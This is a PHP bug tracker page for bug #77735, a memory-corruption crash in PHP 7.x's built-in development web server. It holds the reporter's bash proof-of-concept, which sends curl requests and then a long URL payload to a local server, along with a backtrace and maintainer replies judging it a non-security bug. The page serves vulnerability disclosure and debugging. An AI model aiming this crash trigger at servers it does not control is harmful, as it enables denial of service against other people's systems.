php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #77735 Any user can cause segmentation fault or memory corruption.
Submitted: 2019-03-13 15:10 UTC Modified: 2021-08-05 14:20 UTC
From: sombrasec at wearehackerone dot com Assigned:
Status: Open Package: Built-in web server
PHP Version: 7.2.16 OS: Linux and Windows
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: sombrasec at wearehackerone dot com
New email:
PHP Version: OS:

 

 [2019-03-13 15:10 UTC] sombrasec at wearehackerone dot com
Description:
------------
Affects:
7.2.16 and 7.3.3 (probably affects all 7.x.x, but I only tested those)
5.6 isn't affected.

I'm still trying to understand this but I figured it would be better to report what I know even if it's not much.

https://github.com/php/php-src/blob/852485d8ecd784153e41e565a0a87abf99cf4e0d/ext/date/php_date.c#L944
if(!DATEG(tzcache)) -> if(true)
This prevents the memory corruption and the crashes. Might be helpful in locating the bug.

Sorry for the bad PoC as I haven't understood the bug yet.
I will try to update this report if I find anything new.

Test script:
---------------
#!/bin/bash
#Tested on: PHP7.2.16/7.3.3. PHP5.6 is unaffected.

# php -S 127.0.0.1:1337 [-t your_work_dir]
# your_work_dir content:
#   200.php - can be empty, doesn't matter.

# the size is arbitrary. you can send 1k, it just needs to be large.
payload=$(python -c "print 'a'*7")$(python -c "print 'b'*39")$(python -c "print 'c'*200");
endpoint="127.0.0.1:1337"
preparationCount=10

echo "preparing the server..."
for i in $(seq 1 $preparationCount)
do
  echo -ne "${i}/${preparationCount}\r"
  curl "http://${endpoint}/404.asdasd" -s > /dev/null
  curl "http://${endpoint}/200.php" -s > /dev/null
done

echo 'sending the payload... goodluck.'
curl "http://${endpoint}/${payload}" -s > /dev/null

Actual result:
--------------
The server either crashing (access violation) or hang with high cpu load (~30% for me).
Memory corruption. segmentation fault from different places depending on the payload.
80% sure it's "tzcache" corruption from "ext/date/php_date.c"

The PoC with its current payload crashes here:
https://github.com/php/php-src/blob/e7e8112fcde30f51ac725e7b32d51bf7f832c030/ext/date/lib/parse_tz.c#L680
with our payload being in "timelib_tzinfo *tz".

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-03-13 15:25 UTC] stas@php.net
-Type: Security +Type: Bug
 [2019-03-14 03:04 UTC] sombrasec at wearehackerone dot com
Why is this marked as a "bug"? if it was self DoS i would understand but anyone over the internet could crash/DoS any running php7.x.x builtin-server.
Don't you think this qualifies for it to be a security issue?
 [2019-03-14 03:10 UTC] requinix@php.net
It's a bug on the built-in *development* server. The only way this could be a security risk is if you run something critical on the server, running on an external interface, on a port that's open to the internet through your firewalls/NAT. That's three mistakes too many.
 [2019-03-15 08:25 UTC] laruence@php.net
-Status: Open +Status: Feedback
 [2019-03-15 08:25 UTC] laruence@php.net
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to "Open". Thank you for helping
us make PHP better.

I can not reproduce this
 [2019-03-15 19:45 UTC] sombrasec at wearehackerone dot com
• Pictures from within visual studio:
variables: https://i.imgur.com/4udAawy.png
everything else: https://i.imgur.com/Yv8rzKP.png

• Backtrace:
[Inline Frame] php7ts.dll!fetch_leaptime_offset(_timelib_tzinfo *) Line 609
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\parse_tz.c(609)
php7ts.dll!timelib_get_time_zone_info(__int64 ts, _timelib_tzinfo * tz) Line 648
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\parse_tz.c(648)
php7ts.dll!timelib_unixtime2local(_timelib_time * tm, __int64 ts) Line 178
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\unixtime2tm.c(178)
php7ts.dll!php_format_date(char * format, unsigned __int64 format_len, __int64 ts, int localtime) Line 1287
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\php_date.c(1287)
php.exe!append_essential_headers(smart_str * buffer, php_cli_server_client * client, int persistent) Line 359
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(359)
php.exe!php_cli_server_send_error_page(php_cli_server * server, php_cli_server_client * client, int status) Line 1943
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(1943)
php.exe!php_cli_server_begin_send_static(php_cli_server * server, php_cli_server_client * client) Line 2022
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2022)
php.exe!php_cli_server_dispatch(php_cli_server * server, php_cli_server_client * client) Line 2184
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2184)
php.exe!php_cli_server_recv_event_read_request(php_cli_server * server, php_cli_server_client * client) Line 2384
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2384)
php.exe!php_cli_server_do_event_for_each_fd_callback(void * _params, unsigned __int64 fd, int event) Line 2457
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2457)
php.exe!php_cli_server_poller_iter_on_active(php_cli_server_poller * poller, void * opaque, int(*)(void *, unsigned __int64, int)) Line 834
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(834)
[Inline Frame] php.exe!php_cli_server_do_event_for_each_fd(php_cli_server *) Line 2480
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2480)
[Inline Frame] php.exe!php_cli_server_do_event_loop(php_cli_server *) Line 2490
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2490)
php.exe!do_cli_server(int argc, char * * argv) Line 2612
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2612)
php.exe!main(int argc, char * * argv) Line 1406
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli.c(1406)
[External Code]
 [2019-03-15 19:46 UTC] sombrasec at wearehackerone dot com
-Status: Feedback +Status: Open
 [2019-03-15 19:46 UTC] sombrasec at wearehackerone dot com
oops.
 [2019-03-15 20:18 UTC] sombrasec at wearehackerone dot com
The bug can be triggered (but doesn't cause a crash) with:
curl "http://127.0.0.1:1337/200.php" -s > /dev/null && curl "http://127.0.0.1:1337/400.php" -s > /dev/null

/ext/date/php_date.c - php_date_parse_tzfile (line 953) (php 7.2.16)
if you place a breakpoint here you will see that 'tzi' gets corrupted on the 2nd request.
If you curl 200.php twice -> nothing happens.
If you curl 400.php twice -> nothing happens.
If you curl 200.php then 400.php -> corruption as seen here:
https://i.imgur.com/ARD7avB.png
400.php being a non existent file.
 [2019-03-16 14:06 UTC] cmb@php.net
Can't reproduce either.
 [2021-08-05 14:20 UTC] cmb@php.net
This might be related to bug #72760.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 18:01:29 2024 UTC